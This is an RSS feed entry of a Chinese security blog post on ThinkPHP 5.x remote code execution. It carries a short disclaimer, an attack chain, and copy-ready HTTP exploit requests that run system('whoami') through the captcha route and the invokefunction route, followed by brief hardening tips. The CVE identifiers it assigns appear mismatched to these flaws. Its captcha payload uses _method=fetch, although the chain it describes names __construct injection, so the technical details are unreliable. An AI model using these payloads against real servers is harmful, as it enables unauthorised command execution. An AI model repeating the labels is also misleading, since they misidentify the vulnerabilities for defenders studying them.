https://souljian.cn/tags/php/Recent content in PHP on SoulJian小站Hugo -- gohugo.ioen-usSun, 30 Aug 2026 10:00:00 +0800https://souljian.cn/p/751088179/Sat, 29 Aug 2026 14:00:00 +0800https://souljian.cn/p/751088179/<h2 id="写在前面合法学习边界">写在前面：合法学习边界 </h2><p>ThinkPHP 攻击只在授权测试环境进行。</p> <h2 id="一thinkphp-rce-利用链">一、ThinkPHP RCE 利用链 </h2><img src="https://souljian.cn/img/thinkphp-rce-chain.svg" alt="ThinkPHP RCE 利用链" /> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">① 发现 ThinkPHP → ② 确认版本 → ③ __construct 注入 → ④ 执行命令 → ⑤ RCE </span></span></code></pre></td></tr></table> </div> </div><h2 id="二漏洞信息">二、漏洞信息 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">CVE-2018-2722（5.0.x &lt; 5.0.22）：/index.php?s=captcha </span></span><span class="line"><span class="cl">CVE-2019-2883（5.1.x &lt; 5.1.30）：/index.php?s=/Index/\think\app/invokefunction </span></span></code></pre></td></tr></table> </div> </div><h2 id="三利用步骤">三、利用步骤 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># CVE-2018-2722</span> </span></span><span class="line"><span class="cl">POST /index.php?s<span class="o">=</span>captcha </span></span><span class="line"><span class="cl"><span class="nv">_method</span><span class="o">=</span>fetch<span class="p">&amp;</span><span class="nv">filter</span><span class="o">=</span>system<span class="p">&amp;</span>server<span class="o">[</span>REQUEST_URI<span class="o">]=</span>whoami </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># CVE-2019-2883</span> </span></span><span class="line"><span class="cl">GET /index.php?s<span class="o">=</span>/Index/<span class="se">\t</span>hink<span class="se">\a</span>pp/invokefunction<span class="p">&amp;</span><span class="k">function</span><span class="o">=</span>call_user_func<span class="p">&amp;</span>vars<span class="o">[</span>0<span class="o">]=</span>system<span class="p">&amp;</span>vars<span class="o">[</span>1<span class="o">]=</span>whoami </span></span></code></pre></td></tr></table> </div> </div><h2 id="四防御加固">四、防御加固 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">升级到 ThinkPHP 5.0.22+ / 5.1.31+ </span></span><span class="line"><span class="cl">修改默认路由模式 </span></span><span class="line"><span class="cl">WAF 拦截 invokefunction </span></span></code></pre></td></tr></table> </div> </div><h2 id="五小结">五、小结 </h2><p>ThinkPHP 5.x 的 RCE 漏洞是 ThinkPHP 最经典的漏洞。<strong>升级到安全版本</strong>是唯一有效的防御。</p>